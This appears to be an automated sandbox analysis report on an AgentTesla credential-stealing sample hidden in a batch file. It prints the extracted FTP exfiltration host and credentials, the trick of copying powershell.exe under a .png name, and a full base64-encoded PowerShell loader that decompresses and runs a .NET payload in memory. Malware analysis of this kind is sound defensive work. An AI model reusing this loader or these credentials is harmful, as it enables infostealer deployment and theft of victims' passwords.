agenttesla | 559de1ddc69375c9e08b178e72fe6dcbf0e999e7b078ee94c016a152b8907937

General

Target

Abusive Letter (Resdex Database and Job Posting).bat
Size

1006KB
MD5

ee9ec74fbf7fb7ed42103267a77f7d83
SHA1

1aeae07889b0c11c8587472db3ebf4b77ff9d451
SHA256

559de1ddc69375c9e08b178e72fe6dcbf0e999e7b078ee94c016a152b8907937
SHA512

eae98812d446c2963243a4313f94d6c5a1a3fb6ec2d8f8dd742d21f2bd48c1515d6566af8de144741dfb4465f3ea2467a1b3dfcc49e7c4b1d8e0c6749667421e
SSDEEP

24576:l/KZIPLG6VRHiTKZdtOyts5TvPISg7iCbdpH3JrgceWk:oIPKwgGDOIGjqbd5qdT

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://files.000webhost.com
Port:
21
Username:
tain00
Password:
computer@2020

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Executes dropped EXE 1 IoCs

Processes:

Qmlugnd.png

pid process

3032 Qmlugnd.png
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

684 3032 WerFault.exe Qmlugnd.png
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

Qmlugnd.png

pid process

3032 Qmlugnd.png
3032 Qmlugnd.png
3032 Qmlugnd.png
3032 Qmlugnd.png

pid	process
3032	Qmlugnd.png

pid	pid_target	process	target process
684	3032	WerFault.exe	Qmlugnd.png

pid	process
3032	Qmlugnd.png
3032	Qmlugnd.png
3032	Qmlugnd.png
3032	Qmlugnd.png

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

Qmlugnd.png

description	pid	process
Token: SeDebugPrivilege	3032	Qmlugnd.png
Token: SeDebugPrivilege	3032	Qmlugnd.png
Token: SeRestorePrivilege	3032	Qmlugnd.png
Token: SeBackupPrivilege	3032	Qmlugnd.png

Suspicious use of WriteProcessMemory 17 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 3136 wrote to memory of 4424	3136	cmd.exe	cmd.exe
PID 3136 wrote to memory of 4424	3136	cmd.exe	cmd.exe
PID 3136 wrote to memory of 4780	3136	cmd.exe	xcopy.exe
PID 3136 wrote to memory of 4780	3136	cmd.exe	xcopy.exe
PID 3136 wrote to memory of 3432	3136	cmd.exe	cmd.exe
PID 3136 wrote to memory of 3432	3136	cmd.exe	cmd.exe
PID 3432 wrote to memory of 1376	3432	cmd.exe	cmd.exe
PID 3432 wrote to memory of 1376	3432	cmd.exe	cmd.exe
PID 3432 wrote to memory of 4864	3432	cmd.exe	xcopy.exe
PID 3432 wrote to memory of 4864	3432	cmd.exe	xcopy.exe
PID 3432 wrote to memory of 2444	3432	cmd.exe	cmd.exe
PID 3432 wrote to memory of 2444	3432	cmd.exe	cmd.exe
PID 3432 wrote to memory of 3176	3432	cmd.exe	xcopy.exe
PID 3432 wrote to memory of 3176	3432	cmd.exe	xcopy.exe
PID 3432 wrote to memory of 3032	3432	cmd.exe	Qmlugnd.png
PID 3432 wrote to memory of 3032	3432	cmd.exe	Qmlugnd.png
PID 3432 wrote to memory of 3032	3432	cmd.exe	Qmlugnd.png

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Abusive Letter (Resdex Database and Job Posting).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3136

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo F "
2⤵
PID:4424

C:\Windows\system32\xcopy.exe
xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Qmlugnd.png
2⤵
PID:4780

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Abusive Letter (Resdex Database and Job Posting).bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:3432

C:\Windows\system32\xcopy.exe
xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Qmlugnd.png
3⤵
PID:4864

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo F "
3⤵
PID:1376

C:\Windows\system32\xcopy.exe
xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\Abusive Letter (Resdex Database and Job Posting).bat" C:\Users\Admin\AppData\Local\Temp\Qmlugnd.png.bat
3⤵
PID:3176

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo F "
3⤵
PID:2444

C:\Users\Admin\AppData\Local\Temp\Qmlugnd.png
C:\Users\Admin\AppData\Local\Temp\Qmlugnd.png -win 1 -enc JABWAGIAYQBsAGoAdwBrAHAAYgAgAD0AIABbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABMAGkAbgBlAHMAKAAoACgAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUAKQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAIgAuAGIAYQB0ACIAKQAsACAAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgAKQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBsAGEAcwB0ACAAMQA7ACAAJABJAG0AdAB1AGwAbwB1AHgAZwBrACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAFYAYgBhAGwAagB3AGsAcABiACkAOwAkAFEAbQBpAHcAagBzAGwAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEkAbQB0AHUAbABvAHUAeABnAGsAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQASgBjAG0AagBvACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAFEAbQBpAHcAagBzAGwALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAEoAYwBtAGoAbwAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQASgBjAG0AagBvAC4AQwBsAG8AcwBlACgAKQA7ACQAUQBtAGkAdwBqAHMAbAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAEkAbQB0AHUAbABvAHUAeABnAGsAIAA9ACAAJABvAHUAdABwAHUAdAAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQASQBtAHQAdQBsAG8AdQB4AGcAawApADsAIAAkAEwAZgBuAGkAbQBsAHkAdgBvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAEkAbQB0AHUAbABvAHUAeABnAGsAKQA7ACAAJABPAGoAcgBmAGcAaABjACAAPQAgACQATABmAG4AaQBtAGwAeQB2AG8ALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABHAG4AbABpAGcAIAA9ACAAJABPAGoAcgBmAGcAaABjAC4ARwBlAHQATQBlAHQAaABvAGQAcwAoACkAWwAwAF0ALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABuAHUAbABsACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3032 -s 2404
4⤵
- Program crash
PID:684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3032 -ip 3032
1⤵
PID:4804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

2

T1552

Credentials In Files

2

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Qmlugnd.png

Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\Qmlugnd.png.bat

Filesize
667KB

MD5
73e6af13c928f8518e5c2755d46ae1da

SHA1
3b6563ad6554c1544d80b8f323963c81179c61ff

SHA256
61bdfec3d05bcf842689122d4098e62c10716f7de7ea9ae5e0ec14a54899f8f7

SHA512
46d20936875b0c1280752e5cf1807b851fd761d6c4f312f9b27911e8821ad31a1c3fbeecf15c9280d9791bc2ff25afda4a3e2518a57697604e36afd9e3455607

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pft2dtl1.kcv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3032-27-0x0000000005D50000-0x0000000005D9C000-memory.dmp

Filesize
304KB

Download
memory/3032-29-0x0000000007520000-0x0000000007B9A000-memory.dmp

Filesize
6.5MB

Download
memory/3032-12-0x0000000004DC0000-0x00000000053E8000-memory.dmp

Filesize
6.2MB

Download
memory/3032-13-0x0000000004CF0000-0x0000000004D12000-memory.dmp

Filesize
136KB

Download
memory/3032-14-0x00000000053F0000-0x0000000005456000-memory.dmp

Filesize
408KB

Download
memory/3032-10-0x00000000023F0000-0x0000000002400000-memory.dmp

Filesize
64KB

Download
memory/3032-15-0x0000000005460000-0x00000000054C6000-memory.dmp

Filesize
408KB

Download
memory/3032-25-0x00000000056A0000-0x00000000059F4000-memory.dmp

Filesize
3.3MB

Download
memory/3032-26-0x0000000005CA0000-0x0000000005CBE000-memory.dmp

Filesize
120KB

Download
memory/3032-9-0x00000000753C0000-0x0000000075B70000-memory.dmp

Filesize
7.7MB

Download
memory/3032-8-0x0000000002390000-0x00000000023C6000-memory.dmp

Filesize
216KB

Download
memory/3032-11-0x00000000023F0000-0x0000000002400000-memory.dmp

Filesize
64KB

Download
memory/3032-30-0x00000000061F0000-0x000000000620A000-memory.dmp

Filesize
104KB

Download
memory/3032-31-0x0000000006EA0000-0x0000000006F68000-memory.dmp

Filesize
800KB

Download
memory/3032-33-0x00000000070F0000-0x0000000007156000-memory.dmp

Filesize
408KB

Download
memory/3032-32-0x0000000006F70000-0x0000000006FEA000-memory.dmp

Filesize
488KB

Download
memory/3032-35-0x0000000007180000-0x00000000071C2000-memory.dmp

Filesize
264KB

Download
memory/3032-38-0x00000000023F0000-0x0000000002400000-memory.dmp

Filesize
64KB

Download
memory/3032-39-0x0000000008150000-0x00000000086F4000-memory.dmp

Filesize
5.6MB

Download
memory/3032-37-0x00000000023F0000-0x0000000002400000-memory.dmp

Filesize
64KB

Download
memory/3032-36-0x0000000007360000-0x00000000073A0000-memory.dmp

Filesize
256KB

Download
memory/3032-42-0x00000000753C0000-0x0000000075B70000-memory.dmp

Filesize
7.7MB

Download

Analysis

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